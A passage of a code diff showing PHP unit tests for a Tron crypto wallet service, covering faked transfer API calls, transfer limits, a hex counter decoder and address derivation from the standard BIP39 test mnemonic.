if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
return false;
}
$data = $request->data();
return ($data['owner_address'] ?? null) === self::FROM
&& ($data['to_address'] ?? null) === self::TO
&& ($data['amount'] ?? null) === 1500000
&& ($data['visible'] ?? null) === true;
});
}
#[Test]
public function sends_usdt_trc20_via_triggersmartcontract(): void
{
Http::fake([
'*/wallet/triggersmartcontract' => Http::response([
'result' => ['result' => true],
'transaction' => [
'txID' => str_repeat('cd', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
],
], 200),
'*/wallet/broadcasttransaction' => Http::response([
'result' => true,
], 200),
]);
$result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
$this->assertTrue($result['ok']);
$this->assertSame(str_repeat('cd', 32), $result['txid']);
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
}
#[Test]
public function rejects_when_mnemonic_missing(): void
{
config(['coruna.hot_wallet.mnemonic' => '']);
$result = app(TransferService::class)->handle('tron', self::TO, '1', 'TRX');
$this->assertFalse($result['ok']);
$this->assertStringContainsString('HOT_WALLET_MNEMONIC', $result['error']);
}
#[Test]
public function enforces_max_usdt_limit(): void
{
config(['coruna.transfer.max_usdt' => '5']);
$result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
$this->assertFalse($result['ok']);
$this->assertStringContainsString('exceeds max', $result['error']);
}
}
@@ -47,4 +47,14 @@ class IngestServiceNormalizeTest extends TestCase
])
);
}
#[Test]
public function decode_hex_counter_pair_splits_idx_ftu(): void
{
$this->assertSame([0, 7], IngestService::decodeHexCounterPair('000000000007'));
$this->assertSame([7, 0], IngestService::decodeHexCounterPair('000007000000'));
$this->assertSame([1, 2], IngestService::decodeHexCounterPair('000001000002'));
$this->assertSame([null, null], IngestService::decodeHexCounterPair('bad'));
$this->assertSame([null, null], IngestService::decodeHexCounterPair(null));
}
}
+33
View File
@@ -0,0 +1,33 @@
<?php
namespace Tests\Unit;
use App\Services\Chain\TronDriver;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class TronDriverTest extends TestCase
{
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
#[Test]
public function derives_known_tron_address_from_bip44_path(): void
{
$driver = new TronDriver;
$this->assertSame(
'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
$driver->deriveAddress(self::MNEMONIC, 0)
);
}
#[Test]
public function validates_tron_base58_addresses(): void
{
$driver = new TronDriver;
$this->assertTrue($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
$this->assertFalse($driver->isValidAddress('0xab5c66752a9e8167967685f1450532fb96d5d24f'));
$this->assertFalse($driver->isValidAddress('Tinvalid'));
}
}